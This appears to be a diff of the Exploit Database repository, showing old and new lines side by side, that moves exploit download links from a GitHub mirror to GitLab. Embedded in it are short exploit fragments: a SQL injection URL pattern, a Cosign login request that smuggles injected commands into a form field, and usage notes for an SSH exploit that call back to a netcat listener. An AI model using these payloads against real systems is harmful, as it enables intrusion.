* Vendor advisory: http://www.getmura.com/index.cfm/blog/critical-security-patch/ * Vendor advisory: http://www.getmura.com/index.cfm/blog/critical-security-patch/
* CVE item: CVE-2010-3468 * CVE item: CVE-2010-3468

2
exploits/cfm/webapps/16225.txt
View file

@ -7,5 +7,3 @@ SQL
--- ---
http://site.com/path/dsp_page.cfm?pageid=[SQL] http://site.com/path/dsp_page.cfm?pageid=[SQL]

3
exploits/cgi/webapps/29844.txt
View file

@ -13,6 +13,3 @@ Content-Type: application/x-www-form-urlencoded
Content-Length: N Content-Length: N
required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In

1
exploits/cgi/webapps/39871.txt
View file

@ -42,4 +42,3 @@
Raw Response: MTI3LjAuMC4xCWxvY2FsaG9zdC5sb2NhbGRvbWFpbglsb2NhbGhvc3QK Raw Response: MTI3LjAuMC4xCWxvY2FsaG9zdC5sb2NhbGRvbWFpbglsb2NhbGhvc3QK
Base64 Decoded: 127.0.0.1 localhost.localdomain localhost Base64 Decoded: 127.0.0.1 localhost.localdomain localhost

2
exploits/cgi/webapps/40272.txt
View file

@ -5,4 +5,4 @@
Full Exploit: Full Exploit:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40272.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40272.zip

2
exploits/cgi/webapps/40273.txt
View file

@ -5,4 +5,4 @@
Full Exploit: Full Exploit:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40273.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40273.zip

2
exploits/cgi/webapps/40274.txt
View file

@ -5,4 +5,4 @@
Full Exploit: Full Exploit:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40274.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40274.zip

2
exploits/freebsd/local/12090.txt
View file

@ -15,4 +15,4 @@ Ironmail was found to allow any CLI user to run arbitrary commands with Admin ri
improper handling of environment variables. improper handling of environment variables.
Download: Download:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/12090.pdf (cybsec_advisory_2010_0404.pdf) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12090.pdf (cybsec_advisory_2010_0404.pdf)

2
exploits/freebsd/local/12091.txt
View file

@ -14,4 +14,4 @@ Vulnerability Description:
Some files that allow to obtain usernames and other internal information can be read by any user inside Some files that allow to obtain usernames and other internal information can be read by any user inside
the CLI. the CLI.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/12091.pdf (cybsec_advisory_2010_0403.pdf) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12091.pdf (cybsec_advisory_2010_0403.pdf)

2
exploits/freebsd/remote/17462.txt
View file

@ -196,7 +196,7 @@ Kingcope
A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2. A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2.
the statically linked binary can be downloaded from http://isowarez.de/ssh_0day the statically linked binary can be downloaded from http://isowarez.de/ssh_0day
Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/17462.tar.gz (ssh_0day.tar.gz) Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17462.tar.gz (ssh_0day.tar.gz)
run like ./ssh -1 -z <yourip> <target> run like ./ssh -1 -z <yourip> <target>
setup a netcat, port 443 on yourip first setup a netcat, port 443 on yourip first

2
exploits/freebsd/remote/18181.txt
View file

@ -33,4 +33,4 @@ BTW my box (isowarez.de) got hacked so expect me in a zine :>
/Signed "the awesome" Kingcope /Signed "the awesome" Kingcope
Code: Code:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/18181.tar (7350roaringbeastv3.tar) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18181.tar (7350roaringbeastv3.tar)

2
exploits/freebsd/remote/20593.txt
View file

@ -8,4 +8,4 @@ It is possible for packets that are not part of an established connection to be
Exploitation of this vulnerability may allow for unauthorized remote access to otherwise protected services. Exploitation of this vulnerability may allow for unauthorized remote access to otherwise protected services.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/20593.tgz https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20593.tgz

2
exploits/freebsd/webapps/12658.txt
View file

@ -15,4 +15,4 @@ improper profile check.
=========== ===========
Download: Download:
=========== ===========
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/12658.pdf (cybsec_advisory_2010_0501_Ironmail_Advisory_Web_Access_Broken_Access.pdf) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12658.pdf (cybsec_advisory_2010_0501_Ironmail_Advisory_Web_Access_Broken_Access.pdf)

2
exploits/hardware/dos/11043.txt
View file

@ -36,4 +36,4 @@ Email : f3arm3d3ar@gmail.com
=============== ===============
Download Download
=============== ===============
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/11043.rar (Sony_Ericsson.rar) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11043.rar (Sony_Ericsson.rar)

2
exploits/hardware/dos/12093.txt
View file

@ -15,4 +15,4 @@ Users inside the CLI can run some kind of “Fork Bomb” in order to saturate s
of an insecure ulimit value. of an insecure ulimit value.
Download: Download:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/12093.pdf (cybsec_advisory_2010_0401.pdf) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12093.pdf (cybsec_advisory_2010_0401.pdf)

2
exploits/hardware/dos/13823.txt
View file

@ -1,3 +1,3 @@
I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone. I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/13823.xls (savysoda_poc.xls) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13823.xls (savysoda_poc.xls)

2
exploits/hardware/dos/13824.txt
View file

@ -1,3 +1,3 @@
I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone. I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/13824.xls (office2_poc.xls) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13824.xls (office2_poc.xls)

2
exploits/hardware/dos/13825.txt
View file

@ -1,3 +1,3 @@
I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone. I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/13825.xls (goodreader_poc.xls) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13825.xls (goodreader_poc.xls)

2
exploits/hardware/dos/18751.txt
View file

@ -130,7 +130,7 @@ other bugs and understanding them :)
http://aluigi.org/poc/samsux_1.zip http://aluigi.org/poc/samsux_1.zip
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/18751.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18751.zip
####################################################################### #######################################################################

2
exploits/hardware/dos/20821.txt
View file

@ -6,4 +6,4 @@ A problem in the Cisco Hot Standby Routing Protocol (HSRP) makes it possible to
This problem makes it possible for system local to the network to deny service to legitmate users of that network segment. This problem makes it possible for system local to the network to deny service to legitmate users of that network segment.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/20821.tgz https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20821.tgz

2
exploits/hardware/dos/20824.txt
View file

@ -6,4 +6,4 @@ A problem with the switch firmware could allow a Denial of Service to legitimate
This problem makes it possible for a remote user to deny service to legitimate users of the switch. This problem makes it possible for a remote user to deny service to legitimate users of the switch.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/20824.tgz https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20824.tgz

2
exploits/hardware/dos/21092.txt
View file

@ -7,4 +7,4 @@ CBOS becomes unstable when it receives multiple TCP connections on one of the tw
This problem affects the following Cisco 600 series routers: 627, 633, 673, 675, 675E, 677, 677i and 678. This problem affects the following Cisco 600 series routers: 627, 633, 673, 675, 675E, 677, 677i and 678.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/21092.mrc https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21092.mrc

Some files were not shown because too many files have changed in this diff Show more